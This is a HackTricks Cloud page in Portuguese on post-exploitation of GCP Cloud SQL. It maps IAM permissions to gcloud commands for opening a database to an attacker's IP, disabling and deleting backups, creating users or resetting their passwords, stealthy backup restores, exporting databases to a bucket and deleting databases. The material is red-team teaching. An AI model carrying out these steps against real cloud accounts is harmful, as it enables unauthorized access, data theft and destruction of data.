GCP - Cloud SQL Pós Exploração
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud SQL
Para mais informações sobre o Cloud SQL, consulte:
cloudsql.instances.update
, ( cloudsql.instances.get
)
Para se conectar aos bancos de dados, você só precisa de acesso à porta do banco de dados e saber o nome de usuário e senha, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e permitir que seu próprio endereço IP acesse-o.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
Também é possível usar --no-backup
para interromper os backups do banco de dados.
Como esses são os requisitos, não tenho certeza do que são as permissões cloudsql.instances.connect
e cloudsql.instances.login
. Se você souber, envie um PR!
cloudsql.users.list
Obtenha uma lista de todos os usuários do banco de dados:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Esta permissão permite criar um novo usuário dentro do banco de dados:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Esta permissão permite atualizar o usuário dentro do banco de dados. Por exemplo, você poderia mudar sua senha:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
Backups podem conter informações sensíveis antigas, então é interessante verificá-las.
Restaurar um backup dentro de um banco de dados:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Para fazê-lo de uma maneira mais furtiva, é recomendável criar uma nova instância SQL e recuperar os dados lá em vez de nas bases de dados atualmente em execução.
cloudsql.backupRuns.delete
Esta permissão permite excluir backups:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Exporte um banco de dados para um Bucket do Cloud Storage para que você possa acessá-lo a partir daí:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Importar um banco de dados (sobrescrever) de um Bucket do Cloud Storage:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Excluir um banco de dados da instância do db:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.